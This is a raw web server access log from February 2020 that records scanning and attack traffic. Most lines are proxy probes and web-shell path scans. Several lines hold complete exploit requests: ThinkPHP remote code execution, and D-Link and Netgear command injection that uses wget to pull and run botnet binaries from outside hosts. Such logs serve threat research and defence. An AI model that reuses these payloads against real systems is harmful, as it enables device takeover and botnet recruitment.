111.162.146.73 - - [24/Feb/2020:05:49:29 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
112.230.42.184 - - [24/Feb/2020:05:49:30 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
36.248.88.129 - - [24/Feb/2020:05:49:31 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
119.39.47.248 - - [24/Feb/2020:05:49:32 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.34.176.115 - - [24/Feb/2020:05:49:33 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.213.75.99 - - [24/Feb/2020:05:49:34 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
110.80.155.178 - - [24/Feb/2020:05:49:36 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.13.12.217 - - [24/Feb/2020:05:49:36 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
36.248.89.137 - - [24/Feb/2020:05:49:38 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
139.199.15.148 - - [24/Feb/2020:05:52:42 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.65.171.46 - - [24/Feb/2020:05:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
139.199.15.148 - - [24/Feb/2020:05:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
81.180.86.47 - - [24/Feb/2020:06:02:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.178.125.144 - - [24/Feb/2020:06:03:27 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
116.252.0.175 - - [24/Feb/2020:06:03:30 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
111.175.57.206 - - [24/Feb/2020:06:03:31 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.94.140.46 - - [24/Feb/2020:06:03:31 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
182.138.162.236 - - [24/Feb/2020:06:03:32 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.90.54.179 - - [24/Feb/2020:06:03:32 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.116.201.54 - - [24/Feb/2020:06:03:33 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
111.162.140.71 - - [24/Feb/2020:06:03:35 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.104.92 - - [24/Feb/2020:06:03:36 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
36.251.112.242 - - [24/Feb/2020:06:03:39 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
79.50.83.230 - - [24/Feb/2020:06:04:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
186.233.102.72 - - [24/Feb/2020:06:11:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
102.41.191.205 - - [24/Feb/2020:06:12:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
54.234.183.23 - - [24/Feb/2020:06:12:15 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
109.94.114.210 - - [24/Feb/2020:06:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.202.147.211 - - [24/Feb/2020:06:17:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
169.197.108.42 - - [24/Feb/2020:06:23:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
109.73.180.139 - - [24/Feb/2020:06:32:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
109.94.116.123 - - [24/Feb/2020:06:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
112.200.182.237 - - [24/Feb/2020:06:42:07 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
223.167.75.121 - - [24/Feb/2020:06:44:03 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
110.177.73.122 - - [24/Feb/2020:06:44:03 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
119.118.1.64 - - [24/Feb/2020:06:44:04 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.66.103.45 - - [24/Feb/2020:06:44:05 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
36.251.113.145 - - [24/Feb/2020:06:44:05 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
119.118.14.21 - - [24/Feb/2020:06:44:06 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.34.176.141 - - [24/Feb/2020:06:44:08 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
27.211.58.51 - - [24/Feb/2020:06:44:10 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
113.128.105.139 - - [24/Feb/2020:06:44:12 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
121.57.15.10 - - [24/Feb/2020:06:44:13 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
175.4.217.18 - - [24/Feb/2020:06:45:32 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
169.197.108.38 - - [24/Feb/2020:06:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
189.159.3.72 - - [24/Feb/2020:06:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.52.216.85 - - [24/Feb/2020:06:49:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
103.52.216.85 - - [24/Feb/2020:06:49:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
103.52.216.85 - - [24/Feb/2020:06:49:54 +0100] "\x16\x03\x01" 501 318 "-" "-"
103.52.216.85 - - [24/Feb/2020:06:49:54 +0100] "\x16\x03\x01" 501 318 "-" "-"
121.180.208.154 - - [24/Feb/2020:06:49:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:06:49:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:06:50:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:06:50:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:06:50:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
61.219.11.153 - - [24/Feb/2020:06:54:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.47.192.71 - - [24/Feb/2020:06:58:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:07:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.207.112.203 - - [24/Feb/2020:07:01:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:07:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.6 - - [24/Feb/2020:07:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:07:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.255.186.130 - - [24/Feb/2020:07:04:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:07:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:06:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:06:19 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:06:23 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:07:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
49.232.160.120 - - [24/Feb/2020:07:06:47 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
49.232.160.120 - - [24/Feb/2020:07:06:47 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
49.232.160.120 - - [24/Feb/2020:07:06:47 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
49.232.160.120 - - [24/Feb/2020:07:06:48 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.232.160.120 - - [24/Feb/2020:07:07:08 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [24/Feb/2020:07:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:07:31 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.232.160.120 - - [24/Feb/2020:07:07:55 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.232.160.120 - - [24/Feb/2020:07:08:19 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [24/Feb/2020:07:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:08:43 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.232.160.120 - - [24/Feb/2020:07:09:07 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [24/Feb/2020:07:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:09:31 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
49.232.160.120 - - [24/Feb/2020:07:09:31 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:31 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:31 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:32 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:32 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:32 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:32 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:32 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:32 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:33 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:33 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:33 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:33 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:34 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:35 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:35 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:35 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:35 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:35 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:36 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:36 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:36 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:36 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:36 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:36 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:37 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:37 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:37 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:37 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:38 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:39 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:39 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:39 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:39 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:39 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:40 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:40 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:40 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:40 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:41 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:41 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:41 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
